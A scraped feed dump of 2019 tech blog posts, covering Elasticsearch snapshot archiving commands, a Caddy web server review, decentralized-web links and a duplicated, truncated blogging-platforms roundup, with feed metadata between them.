PythonLorena Mesa – Vice Chair -- GitHub Data Engineer - Software Intelligence Systems | PyLadies Chicago Organizer | Python Software Foundation DirectorEloisa Tran -- Fundraising Chair -- Founder of the Women in Data Science WiDS, Data Scientist for City of Bellevue      from Planet Python https://ift.tt/2U9YBv1</text><languageCode>en</languageCode><locationCode>it</locationCode><coordinates /><links><link>http://bdfl-gift.pspython.com/</link><link>https://www.pspython.com/app</link><link>https://www.csforall.org/</link><link>http://bdfl-gift.pspython.com/</link><link>http://www.ltgov.wa.gov/biography</link><link>https://www.willingconsulting.com/</link><link>http://www.nighthacks.com/jag/bio</link><link>https://www.github.com/ahejlsberg</link><link>https://gvanrossum.github.io/</link><link>http://www.wall.org/~larry</link><link>https://4.bp.blogspot.com/-e6zsWUTw48o/XJqabIoCPRI/AAAAAAAAilE/bfFlqmu8NzIQi4r8M__xFqEWJgzxWYCWwCLcBGAs/s1600/CSforALL-logo.png</link><link>https://www.csforall.org/media-faq</link><link>https://2.bp.blogspot.com/-v8wuM7Fkabw/XJqZ6rTx13I/AAAAAAAAik8/1rX_nqHNG9oRSzI7musyzkHc450g3TLzACLcBGAs/s1600/puppy.png</link><link>https://www.pspython.com/app</link><link>https://www.linkedin.com/in/ruthefarmer</link><link>https://www.willingconsulting.com/</link><link>http://www.lorenamesa.com/</link><link>https://www.linkedin.com/in/eloeliasds</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:yIl2AUoC8zA</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:-BTjWOF_DHI</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:F7zBnMyn0Lo</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:V_sGLiPBpWU</link></links><tags><tag>Planet Python</tag></tags><images /><indexedAt>2019-03-27T17:14:30Z</indexedAt><publishedAt>2019-03-27T16:52:00Z</publishedAt><reindexedAt>2019-03-27T17:14:30Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>9509802395052619736</blogId><blogName>Iwic</blogName><blogUrl>http://iwishic.blogspot.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>9511981460303239963</id><author>n.martin</author><url>https://soundmacguy.wordpress.com/2019/03/27/macaduk-improve-your-automated-mdm-enrolments-resources/</url><title>MacADUK: Improve your automated MDM enrolments! Resources.</title><text>I was lucky enough to share the stage with Joel Rennich at this year’s Apple Admin and Developer Conference UK. We spoke about how to achieve more automation and improve the ways we get Macs enrolled into our MDM solutions. The icing on the cake was a deep dive into some new functionality baked into NoMAD Login AD with the release of version 1.3.0. 



All my slides, documentation, example scripts and other bits and bobs are all available here (a video will be up soon!): 



https://github.com/neilmartin83/MacADUK-2019 



I hope you enjoyed y0urself and got something useful to take away. Thanks to the conference organisers and Joel for a great time!</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.linkedin.com/in/joel-rennich-5853a0b7</link><link>https://www.macad.uk/</link><link>https://www.gitlab.com/orchardandgrove-oss/NoMADLogin-AD</link><link>https://www.github.com/neilmartin83/MacADUK-2019</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T16:52:17Z</indexedAt><publishedAt>2019-03-27T16:51:51Z</publishedAt><reindexedAt>2019-03-27T16:52:17Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>17914574363885706178</blogId><blogName>Sound Mac Guy</blogName><blogUrl>https://soundmacguy.wordpress.com</blogUrl><blogRank>1</blogRank><authority>7</authority></post><post><id>7212430209115555589</id><author>Rishi Mathur</author><url>https://jixee.me/elasticsearch-archiving-indexes-on-a-budget/</url><title>Elasticsearch: Archiving Indexes on a Budget</title><text>If you’ve been to an Elasticsearch meet up, you’ve likely had a conversation about Elastic cluster sizes, data retention policies, and archive strategies.  In any of those conversations, it’s possible you also came across a great majority of companies who have big budgets to build a proper Elastic cluster.  There are big companies with budgets, and then there are the rest of us, the startups who try to utilize the coolest technologies, without the biggest of budgets. 
I thought it might be helpful to share my index archiving process for those of us who don’t have the largest of budgets to throw at our Elastic implementations. 
Our Use Case
We have a single Elastic server that we use as part of our ELK stack.  It indexes web server and application logs.  Our ingestion rate is 11GB of logs a day at our current level. We keep 2 weeks of logs available for querying, and archive a year’s worth in case we need to go back in time to look at logs.  Our server specs are important for our archive process, especially disk storage.  We are using using a single 8G instance with 500G of disk space.  Some of you are probably aghast at how small of an implementation that is, and also wondering how the heck we store a year’s worth of logs with that much disk space. Well the short answer is that we don’t store it on our Elastic server.  Let me take you through our archive process. 
Nope to Curator
It’s worth mentioning that for those companies who have a bigger budget, the ideal way to deal with data retention policies is to use Curator. Curator is a great tool that allows you to manage your indexes and snapshots with ease.   Using it effectively requires a snapshot repository backend that has nearly endless, or at least a LOT of storage capacity. Examples of those backends are S3, Azure storage, a Hadoop cluster, or a mount point with a large amount of disk space.  These repository backends are supported by Elastic with the use of freely available plugins, or in the case of a mount point, by default.   We didn’t have the budget to support connecting our Elastic instance to a big snapshot storage repository, so we came up with another way. 
Cheap Storage
We came up with a way to store our index snapshots in cheap storage.   One year of our current index size clocks in roughly around 3TB, which can generate a decently sized monthly bill on well known storage implementations.  Some cheap storage options we considered: 
  
– Amazon Glacier** 
– Amazon S3 
– Google Cloud Storage 
– Large external hard drives 
– Tape drives 
  
** One thing to note about Amazon Glacier, is that it is by far the cheapest cloud storage solution, but it does come with its quirks.  One such quirk is that if you are scripting your archive steps, sending large files to Glacier can take a long, long, long time.  I found it a bit cumbersome to work with in an automated fashion, so we opted for a solution that offered an affordable SFTP interfaced storage and it works great for us. 
Homegrown
The type of cheap storage you end up going with will determine your archive process.   These steps are easily modified to suit your specific needs.  Let’s get to the meat of this post, and describe the steps we need to take.  For the commands below, let’s assume our Elastic instance is at localhost:9200. 
1) First our Elastic instance needs a Snapshot Repository Backend.  We’re going to create one directly on the root partition of our server in the dir /es_snapshots.  We’re going to call the repository “log_archive”: 
curl -XPUT http://localhost:9200/_snapshot/log_archive -d ‘{ "type": "fs", "settings": { "location":"/es_snapshots", "compress":true}}’
2) Now that we have a snapshot repository backend, since our data retention policy states that we only keep 14 days worth of indexes for live querying, we snapshot indexes older than 14 days to our Snapshot Repository. An example of how we would snapshot an index would look like the following. Note the wait_for_completion flag, which will tell the command to wait until the snapshot is done, useful for scripting: 
curl -XPUT http://localhost:9200/_snapshot/log_archive/logstash-2016.01.01?wait_for_completion=true -d '{ "indices":"logstash-2016.01.01", "ignore_unavailable":"true", "include_global_state": false }'
3) Delete the index entirely from Elastic once the snapshot has successfully finished: 
curl -XDELETE http://localhost:9200/logstash-2016.01.01
4) As your Elastic index collection grows, repeat steps 2 and 3, until the snapshot repository backend contains 7 snapshots.  For our current index size, this totals in around 80G. Once there are 7 snapshots, we tar up the snapshot repository directory with bzip2*: 
  
tar cjf /tmp/es_snaphots.2016.01.01-2016-01.07.tar.bz2 /es_snapshots
*A little note on compression. In our snapshot line above, we are stating we want the index to be compressed, but we can get a much better compression ratio out of it, if we compress it further using any of the popular compression algorithms. I chose bzip2 because it was the best choice between disk space saved, and time it took to compress and uncompress.  In my testing, 7z offered the best disk space savings, but just wasn’t practical in terms of the length of time it took to compress and uncompress, and gzip is the fastest, yet didn’t save much on disk space.  This can be tuned to whatever works best for your process. 
5) Once our snapshot repository directory is converted into a tarball.  This is when we send it to our cheap storage solution.  This can be done many different ways, so I’ll leave it to you to decide what cheap storage solution will work best for your use case.  In our case, it’s a simple SCP command: 
scp /tmp/es_snaphots.2016.01.01-2016-01.07.tar.bz2 cheap@storage.com:/elastic/archive/
6) Once your storage has received the archive, remove it: 
rm -f /tmp/es_snaphots.2016.01.01-2016-01.07.tar.bz2
7) Now comes the magical/tricky/clunky part.  In this step we remove the snapshot repository from Elastic.  Doing this will leave the data untouched, and only remove the reference from Elastic: 
  
curl -XDELETE http://localhost:9200/_snapshot/log_archive
8) Now that the repository is removed from Elastic, we want to clear out the already archived snapshots from the directory location: 
rm -fr /es_snapshots/*
9) Now we re-add the repository: 
curl -XPUT http://localhost:9200/_snapshot/log_archive -d ‘{ "type": "fs", "settings": { "location":"/es_snapshots", "compress":true}}’
10) Now we have a clean snapshot repository, ready for the next batch. 
11) If we ever have to restore one of these archived indexes into our Elastic instance, we uncompress it into a location: 
cd /tmp; tar xjf es_snaphots.2015.01.01-2015-01.07.tar.bz2
***Make sure you don’t uncompress this into your current /es_snapshots directory, this should be a temporary location. 
Then create a new snapshot repo and point it at the new uncompressed dir: 
curl -XPUT http://localhost:9200/_snapshot/log_archive_restore -d ‘{ "type": "fs", "settings": { "location":"/tmp/es_snapshots", "compress":true}}’
And restore the index you need: 
curl -XPOST http://localhost:9200/_snapshot/log_archive_restore/logstash-2016.01.05/_restore -d '{ "ignore_unavailable": "true","include_global_state": false}'
An important note about restoring, is that if you look at the documentation, you’ll notice you can include names of multiple indices in a restore.  In our case, we will always only include one index with one snapshot, so restoring a snapshot will only ever restore a single index into Elastic. 
Why Remove Then Re-Add the Snapshot Repo
So at this point you may be scratching your head, wondering why we remove and then re-add the snapshot repository for archiving.  The thinking here is this: 
  
–   We needed to figure out a way to decrease disk space required for our snapshots, while also giving us the ability to store them in ‘chunks’ or ‘batches’ on a cheap storage solution of our choice. 
–   The fact that we have “batches” of log archives allows for easier recovery of individual indexes. Also, the fact that we are only storing one index per snapshot allows us more visibility as to which snapshots include which indices, simply by doing a list of directory contents. 
–   This method allows us to control the size of our ‘batches’, based on our requirements. 
While this process may seem a bit unorthodox, it has allowed us to save costs on the storage of our index archive as well as enjoy the benefits of using Elasticsearch. 







 WaySmarterThanYou 


I’ve been looking for exactly this – THANK YOU!!! I’ve been testing graylog and it seems great, but I couldn’t figure out how to archive without buying the $$$ version. Snapshots of indices were not working as expected and elasticsearch had limited docs on it. Going to try this out over the next week or so – I’ll let you know how it works for us!!! Thanks again!!! 




 WaySmarterThanYou 


Took a bit of tweaking on some commands for my installation – but overall spot on. Thanks again. 






 Cryptoanarchist 


Definitely check out Curator 5 as it can perform snapshot deletes as well as index deletes after it does your snapshots for you. It can now also use the reindex api to manage roll up work for you too. 






The post Elasticsearch: Archiving Indexes on a Budget appeared first on Jixee is a task and communication hub for developers.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.github.com/elastic/curator</link><link>https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html</link></links><tags><tag>Development</tag></tags><images /><indexedAt>2019-03-27T17:24:54Z</indexedAt><publishedAt>2019-03-27T16:48:10Z</publishedAt><reindexedAt>2019-03-27T17:24:54Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>16759195872030681958</blogId><blogName>Jixee is a task and communication hub for developers</blogName><blogUrl>https://jixee.me</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>8781836342097107540</id><author>peter verheijke</author><url>https://petersintrest.blogspot.com/2019/03/take-action-against-censorchip.html</url><title>take action against censorchip</title><text>Freenet Project -&gt; https://freenetproject.org/Beaker Browser → https://beakerbrowser.com/IPFS -&gt; https://ipfs.io/  | https://orion.siderus.io/IPFS Desktop -&gt; https://github.com/ipfs-shipyard/ipfs-desktopZeronet -&gt; https://zeronet.io/Tribler -&gt; https://www.tribler.org/Soulseek -&gt; https://www.soulseekqt.net/news/node/1Ares -&gt; https://www.ares.com/Ares Galaxy -&gt; https://sourceforge.net/projects/aresgalaxy/Retroshare -&gt; https://retroshare.cc/ (retroshare is full of decentralized image boards)OpenBazaar -&gt; https://openbazaar.org/features/ (p2p web with a crypto market place)qBittorrent -&gt; https://sourceforge.net/projects/qbittorrent/Quazaa -&gt; https://sourceforge.net/projects/quazaa/Anomos -&gt; https://sourceforge.net/projects/anomos/Usenet -&gt; https://torrentfreak.com/how-to-use-usenet/ | https://archive.fo/e1HXHImage boards over ipfs:// -&gt; https://ipfs.io/ipns/boards.ydns.eu/#/dat:// protocol -&gt; https://datproject.org/List of goodies → https://github.com/gdamdam/awesome-decentralized-web</text><languageCode>en</languageCode><locationCode>se</locationCode><coordinates /><links><link>https://www.freenetproject.org/</link><link>https://www.beakerbrowser.com/</link><link>https://www.ipfs.io/</link><link>https://orion.siderus.io/</link><link>https://www.github.com/ipfs-shipyard/ipfs-desktop</link><link>https://www.zeronet.io/</link><link>https://www.tribler.org/</link><link>https://www.soulseekqt.net/news/node/1</link><link>https://www.ares.com/</link><link>https://www.sourceforge.net/projects/aresgalaxy</link><link>https://www.retroshare.cc/</link><link>https://www.openbazaar.org/features</link><link>https://www.sourceforge.net/projects/qbittorrent</link><link>https://www.sourceforge.net/projects/quazaa</link><link>https://www.sourceforge.net/projects/anomos</link><link>https://www.torrentfreak.com/how-to-use-usenet</link><link>https://www.archive.fo/e1HXH</link><link>https://www.ipfs.io/ipns/boards.ydns.eu/#</link><link>https://www.datproject.org/</link><link>https://www.github.com/gdamdam/awesome-decentralized-web</link></links><tags /><images /><indexedAt>2019-03-27T16:49:16Z</indexedAt><publishedAt>2019-03-27T16:48:00Z</publishedAt><reindexedAt>2019-03-27T16:49:16Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>6398041322930722215</blogId><blogName>peter's intrest</blogName><blogUrl>https://petersintrest.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>7729474595379881990</id><author>Chuck Walbourn - MSFT</author><url>https://blogs.msdn.microsoft.com/chuckw/2019/03/27/the-blog-moves-on/</url><title>The blog moves on</title><text>Sorry for having been quiet for so long. In addition to the usual holiday lull, I've also been working on migrating this blog to GitHub Pages which has necessitated a lot of manual cleanup and formatting moving from WordPress to Markdown. In any case, the new location for the Games for Windows and DirectX SDK blog is now: https://walbourn.github.io/. The new site has the entire archive by month and tag. 
You may or may not have also noticed some other DirectX and related blogs have migrated recently as well, so now is a good time to update your bookmarks: 



DirectX Developer Blog
https://devblogs.microsoft.com/directx/


Visual C++ Team Blog
https://devblogs.microsoft.com/cppblog/


Shawn Hargreaves Blog
http://www.shawnhargreaves.com/blogindex.html



My GitHub Pages blog is much leaner and loads faster, and personally I find it a lot easier to work in git and a Markdown editor instead of a web interface. That said, my new blog no longer supports comments. While unfortunate, there are still plenty of ways to provide feedback on relevant topics. Each of my GitHub projects has an issues tracker, and I routinely monitor DirectX related tags on StackOverflow.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://walbourn.github.io/</link><link>https://walbourn.github.io/archive</link><link>https://walbourn.github.io/tags</link><link>https://devblogs.microsoft.com/directx</link><link>https://devblogs.microsoft.com/cppblog</link><link>http://www.shawnhargreaves.com/blog</link><link>https://www.stackoverflow.com/</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T16:41:34Z</indexedAt><publishedAt>2019-03-27T16:39:45Z</publishedAt><reindexedAt>2019-03-27T16:41:34Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14430675741127328599</blogId><blogName>Games for Windows and the DirectX SDK</blogName><blogUrl>https://blogs.msdn.microsoft.com/chuckw</blogUrl><blogRank>1</blogRank><authority>12</authority></post><post><id>17604222937324342051</id><author>mike</author><url>https://mikecborg.wordpress.com/2019/03/27/github-mikecb-starred-flosell-trailscraper/</url><title>Github: mikecb starred flosell/trailscraper</title><text>from mikecb’s Activity on Github: https://github.com/flosell/trailscraper</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.github.com/flosell/trailscraper</link></links><tags><tag>Github</tag></tags><images /><indexedAt>2019-03-27T18:49:18Z</indexedAt><publishedAt>2019-03-27T16:37:52Z</publishedAt><reindexedAt>2019-03-27T18:49:18Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>4133238700072985671</blogId><blogName>things i find on the web</blogName><blogUrl>https://mikecborg.wordpress.com</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>6565965877363329693</id><author>Rishi Mathur</author><url>https://jixee.me/caddy-the-web-server-for-developers/</url><title>Caddy: The Web Server For Developers</title><text>In the world of web hosting, it’s hard to get excited about new HTTP servers.  In fact, if you need to setup a web application stack, chances are you’ll just go with one of the big names you already know, Nginx or Apache.  These are both tried and true technologies, but what if you’re new to the game?  What if you just want to dive in and start developing or writing, without having to read a handful of tutorials just to get your web server up?  Well, I believe the solution to your problem has arrived.  Allow me to introduce you to Caddy, a web server built for developers, writers, and designers alike. 
If you’re a seasoned pro in web hosting, you’re probably asking yourself, ‘Why another HTTP server?’  It’s a good question, and the Caddy FAQ attempts to answer this by stating that ‘Fundamentally, Caddy aims to make websites easier by lowering the barrier to entry’.  It’s a lofty goal, but one I feel they have accomplished, along with so much more.  Let’s take a deeper look. 
Go
Caddy is written in the Go language and is a very fresh open source project that has only been around for just under 1 year.  Many popular open source projects such as Docker, Kubernetes, or InfluxDB have proven the power of Go, and the fact that even large companies like Dropbox have moved to Go from Python, claiming significant performance increases, shows why Caddy’s creator, Matt Holt, chose it.  As the Go community grows, Caddy looks like a good place for Go developers of any skill level to contribute to, or learn from an open source project. 
Barrier to Entry
The philosophy behind Caddy is to create a web server that is easy for the non technical user to setup and run.  Let’s take a look at how easy it is to get a website up with Caddy.  I’ll do this on my Macbook. 
Download Caddy 
The download page is very user friendly. As a user you are given options of the features you want your Caddy installation to include, and the platform you are on.  When you click your platform, your binary is built for you on the spot, and downloaded immediately after. 
Unzip the archive and open a terminal 

I unzipped it in my Downloads folder.
It created a folder called ‘caddy_darwin_amd64_custom’.
cd ~Downloads/caddy_darwin_amd64_custom
sudo ./caddy
Then in my browser: http://localhost:2015/README.txt (README.txt is a text file that was included in the download). Simply add HTML files into this same directory and load them the same way you would the README.txt above.

And that’s it.  This took me all of about 3 minutes to accomplish.  I’d say that qualifies as a very easy install process. Of course the deeper into web development you go, you may need more advanced features from your web server. You can accomplish this by adding a Caddyfile.  The Caddyfile is Caddy’s configuration file, and gives you the opportunity to add functionality and features to your web server. There are many directives that can be found in their easy to read user guide. 
Let’s Encrypt
One of the coolest features of the Caddy web server, is the fact that it is the first and only web server to serve all live sites over HTTPS by default.  This is accomplished by using the Let’s Encrypt Certificate Authority, which allows users to serve SSL sites for free.  With Caddy, serving your content over a secure link has never been easier.  In addition to this amazing achievement,  the default TLS cipher suite that comes with Caddy scores well with sites such as https://www.ssllabs.com/ssltest/. 
HTTP/2
HTTP/2 is the second major version of the HTTP protocol, which is based on Google’s SPDY protocol.  Of course all of your current websites will still run on this protocol, with the promise of greater speed and performance.  Many of the popular web servers require a module to enable the new protocol, but Caddy supports this by default.  It’s one of the reasons why Caddy can be considered a new generation of web server. 
FastCGI
If you’ve ever had to setup a PHP application with FastCGI, chances are you’ve mulled through dozens of tutorials, along with several Stack Overflow posts to figure out why the things you did from your tutorial aren’t working.  Caddy has simplified this process by, once again, integrating the FastCGI functionality as a default feature, making it as simple to add as a one liner in the Caddyfile. For example: 
fastcgi / 127.0.0.1:9000 
Markdown
Yet another feature that sets Caddy apart from the rest is its default support of Markdown files.  Markdown is a plain text, formatting syntax, which is aimed at helping new users create formatted web content with basic, or no prior HTML knowledge. It is considered by some an easier alternative to HTML, and some flavor of its syntax is supported in many apps we use on a daily basis, like Slack and Github.  The Caddy Blog is written in markdown, to illustrate a common use case. The mere support of Markdown out-of-the-box will allow a non technical user such as a writer or a designer, to create a website with relative ease. 
Proxying and Load Balancing
The list of out-of-the-box features that Caddy supports is long, and the fact that it supports Load Balancing and can also be used as a Proxy server, is no exception.  In my experience, the “go to” applications for this sort of thing have been HAProxy or Nginx, and considering that Caddy also supports health checks and common load balancing algorithms, it should be added to that list as well.  It’s also worth mentioning that Caddy supports proxying websockets, so it can be a viable replacement to the common proxying tools used in websocket applications. 
Addons
Even with so many useful features provided by default, there are also a handful of Addons that can provide functionality that one might need.  Here are some notable ones: 

git

This addon git clones a repository into the site and periodically does a git pull on that repository, making it possible to deploy new code with a simple ‘git push’. Cool! 
  

jsonp

This addon allows for JSONP GET requests. 
  

search

Another attempt at making life easier for the developer is the search addon, which activates a search engine that includes a search page and JSON API.  The search is powered by bleve, and at this moment will only index HTML, Markdown and plain text files.  This is a promising addon that can take the complexity out of providing search on your static sites. 
  
If the functionality one’s looking for doesn’t exist, the ambitious developer can add it themselves using the Caddy extension guidelines. 
Embedded Systems
Because the Caddy executable is a lightweight, portable, static, binary file, it can be run on just about any platform it’s compiled on.  This adds a lot of potential for the maker world to use Caddy as a lightweight web server on the Raspberry Pi or Arduino platforms.  Caddy can even run on newer Android phones using the Linux ARM architecture. 
Go Try It!
While the question of ‘why another web server?’ may still remain in some minds, the low barrier to entry for the non technical crowd, default HTTPS functionality, and a rich out-of-the-box feature set assures that Caddy is definitely something to keep an eye on.  I am definitely excited about this web server, and plan on writing more “How To” blog posts about Caddy in the future.  Now I challenge you to go try it. Surely you must have at least 5 minutes to spare. 
The post Caddy: The Web Server For Developers appeared first on Jixee is a task and communication hub for developers.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.caddyserver.com/docs</link><link>https://www.letsencrypt.org/</link><link>https://www.ssllabs.com/ssltest</link><link>https://www.caddyserver.com/blog</link><link>http://www.blevesearch.com/</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T17:24:54Z</indexedAt><publishedAt>2019-03-27T16:37:17Z</publishedAt><reindexedAt>2019-03-27T17:24:54Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>16759195872030681958</blogId><blogName>Jixee is a task and communication hub for developers</blogName><blogUrl>https://jixee.me</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>15757767998440249956</id><author>Sahil Khan</author><url>https://sahiinfo202902570.wordpress.com/2019/03/27/best-blogging-platforms-of-2019-2/</url><title>Best blogging platforms of 2019</title><text>The popularity of blogging (which originally derives from ‘personal web log’) continues, whether for profit, or just to have a voice on the web, since over a decade ago when it first captured the internet as the ‘next big thing’. Some blogs are standalone sites, but others are a more personal section that fits into a larger, corporate web site. 
In order to blog, a blogging platform is required, which takes care of formatting the content in the form of text and images, and provides a framework for getting it onto a website. The blogging platform also makes it easier for a search engine to categorize the blog entries, and to be able to take advantage of marketing and advertising opportunities. 
So before you start cranking out posts, and welcoming your virtual visitors from around the world, you need to choose the best blogging platform to suit your needs. Check out these great options. 

Weve also highlighted the best website hosting services

 

 
Blogger 

 
Ask any old-time blogger about what platform they started their blog with, and chances are theyll answer that it was Blogger. To this day, Google’s offering in the blogging space still retains several advantages, including that your existing Google account already means you have a Blogger account. 
A broke startup blog will appreciate that it is free to use, and it will even provide the blogspot.com domain name, as well as the option for a custom domain name. It is also one of the easier platforms to use, and provides a choice of templates that can be flexibly modified. 
As it is a Google offering, it easily integrates with other Google products, including Google Analytics that can provide information about your website’s visitors that should be used to help grow traffic. Also, your blog can be integrated with Google’s Adsense, that will analyze your content, and display relevant ads to monetize your blog, so you can pay for the coffee as you sit in Starbucks and blog into the night. 
With all that going for it, is there any reason not to use Blogger? Well, the problem is that as your blog grows, its simplicity means that you may outgrow Blogger at some point. In addition, it can be difficult to transition from Blogger to another platform.  

You can sign up for Blogger here

 

 
WordPress 

 
WordPress is a popular blogging platform which is used on a claimed 30% of web sites, that offers an excellent balance between ease of use, and more powerful options. 
They can handle all the details, and take care of the domain name, the security and the hosting for a one stop shopping option. WordPress offers hundreds of themes, with flexibility in fonts and options for a custom look. They also offer expert support, and credit card payments can be accepted via an available plugin. 
Pricing starts at the Personal plan for $5 (€4, £4) monthly billed annually, which removes all WordPress advertising. There is also a free tier available, which is suitable for a noncommercial blog as there is WordPress advertising, and no way you can monetize it.  

You can sign up for WordPress here

 

 
Jekyll 

 
The latest version of Jekyll (3.8.5) is a “simple, blog-aware, static site generator.” Content gets created in TXT files, which get placed into folders. Then you build your site via Liquid language templates. Jekyll then merges the content and the template together, and voila, a website is generated that can be uploaded to a server. For those that need a host, there is integration with Jekyll to host the website for free on GitHub. 
While there is a comprehensive ‘quick-start guide’ on the Jekyll website, it hardly offers the simplicity of some competing blogging platforms that can do this all from a web interface. However, the benefits that Jekyll offers are the advanced features, which include options for paginating posts, available plugins, templates, and community maintained themes. It also supports blog migration from other platforms.   
The plus here is that there is no cost to the platform, but the downside is that there is only community support, and the work takes place in the Ruby development environment, so many newbies will be put off.  

You can sign up for Jekyll here

 

 
Tumblr 

 
While some blogs are well developed, and blur the line between a blog, and a full fledged website, at the other end of things we have Tumblr. It seems to be doing something right as it claims a staggering 450+ million different blogs. 
It focuses on the more concise end of the spectrum, with an emphasis on shorter content, like just an image, or link, that can appear as more of an alternate social media platform. Content is definitely more short-form, with posts consisting of a variety of material, for example, pics, jokes, quips, Spotify tracks, and video (just remember that adult content is no longer welcome). Like a social media platform, you can also follow other blogs, and republish posts you like to your own blog. 
The pro is that Tumblr is quite simple to use, costs nothing, and is ideal for use on a mobile device. However, this is not ideal for a more developed blog, as the content remains in the Tumblr ecosystem, and there is no way to monetize it.   

You can sign up for Tumblr here

 

 
Typepad 

 
Typepad is a fully developed blogging platform, designed for the professional blogger. It offers a ton of flexibility, including the ability to publish from email, a web browser, or mobile. It also easily integrates with Google Analytics, and has its own affiliate plan. 
Typepad supports design customization with a Theme Builder for a custom look, and the option for creating your own custom template or modifying a theme with custom CSS. Typepad is also fully hosted, and has support available.  
After the initial 14-day trial, plans start at $8.95 (£8) per month for up to four blogs with unlimited storage.  

You can sign up for Typepad here


Check out the best website hosting services

from TechRadar – All the latest technology news https://ift.tt/2K7MVof</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.blogger.com/</link><link>https://www.blogger.com/</link><link>https://www.techradar.com/news/world-of-tech/roundup/using-google-analytics-in-your-business-1094839</link><link>https://www.blogger.com/</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.jekyllrb.com/</link><link>https://www.jekyllrb.com/</link><link>https://www.techradar.com/news/its-official-microsoft-acquires-github-for-dollar75-billion</link><link>https://www.jekyllrb.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.ift.tt/2K7MVof</link></links><tags><tag>Uncategorized</tag><tag>TechRadar - All the latest technology news</tag></tags><images /><indexedAt>2019-03-27T16:49:24Z</indexedAt><publishedAt>2019-03-27T16:34:45Z</publishedAt><reindexedAt>2019-03-27T16:49:24Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>3606143586078144472</blogId><blogName>SahiInformation</blogName><blogUrl>https://sahiinfo202902570.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>10797711410132454944</id><author>AttitudeAnil</author><url>https://abtelugutech.wordpress.com/2019/03/27/best-blogging-platforms-of-2019-2/</url><title>Best blogging platforms of 2019</title><text>The popularity of blogging (which originally derives from ‘personal web log’) continues, whether for profit, or just to have a voice on the web, since over a decade ago when it first captured the internet as the ‘next big thing’. Some blogs are standalone sites, but others are a more personal section that fits into a larger, corporate web site. 
In order to blog, a blogging platform is required, which takes care of formatting the content in the form of text and images, and provides a framework for getting it onto a website. The blogging platform also makes it easier for a search engine to categorize the blog entries, and to be able to take advantage of marketing and advertising opportunities. 
So before you start cranking out posts, and welcoming your virtual visitors from around the world, you need to choose the best blogging platform to suit your needs. Check out these great options. 

Weve also highlighted the best website hosting services

 

 
Blogger 

 
Ask any old-time blogger about what platform they started their blog with, and chances are theyll answer that it was Blogger. To this day, Google’s offering in the blogging space still retains several advantages, including that your existing Google account already means you have a Blogger account. 
A broke startup blog will appreciate that it is free to use, and it will even provide the blogspot.com domain name, as well as the option for a custom domain name. It is also one of the easier platforms to use, and provides a choice of templates that can be flexibly modified. 
As it is a Google offering, it easily integrates with other Google products, including Google Analytics that can provide information about your website’s visitors that should be used to help grow traffic. Also, your blog can be integrated with Google’s Adsense, that will analyze your content, and display relevant ads to monetize your blog, so you can pay for the coffee as you sit in Starbucks and blog into the night. 
With all that going for it, is there any reason not to use Blogger? Well, the problem is that as your blog grows, its simplicity means that you may outgrow Blogger at some point. In addition, it can be difficult to transition from Blogger to another platform.  

You can sign up for Blogger here

 

 
WordPress 

 
WordPress is a popular blogging platform which is used on a claimed 30% of web sites, that offers an excellent balance between ease of use, and more powerful options. 
They can handle all the details, and take care of the domain name, the security and the hosting for a one stop shopping option. WordPress offers hundreds of themes, with flexibility in fonts and options for a custom look. They also offer expert support, and credit card payments can be accepted via an available plugin. 
Pricing starts at the Personal plan for $5 (€4, £4) monthly billed annually, which removes all WordPress advertising. There is also a free tier available, which is suitable for a noncommercial blog as there is WordPress advertising, and no way you can monetize it.  

You can sign up for WordPress here

 

 
Jekyll 

 
The latest version of Jekyll (3.8.5) is a “simple, blog-aware, static site generator.” Content gets created in TXT files, which get placed into folders. Then you build your site via Liquid language templates. Jekyll then merges the content and the template together, and voila, a website is generated that can be uploaded to a server. For those that need a host, there is integration with Jekyll to host the website for free on GitHub. 
While there is a comprehensive ‘quick-start guide’ on the Jekyll website, it hardly offers the simplicity of some competing blogging platforms that can do this all from a web interface. However, the benefits that Jekyll offers are the advanced features, which include options for paginating posts, available plugins, templates, and community maintained themes. It also supports blog migration from other platforms.   
The plus here is that there is no cost to the platform, but the downside is that there is only community support, and the work takes place in the Ruby development environment, so many newbies will be put off.  

You can sign up for Jekyll here

 

 
Tumblr 

 
While some blogs are well developed, and blur the line between a blog, and a full fledged website, at the other end of things we have Tumblr. It seems to be doing something right as it claims a staggering 450+ million different blogs. 
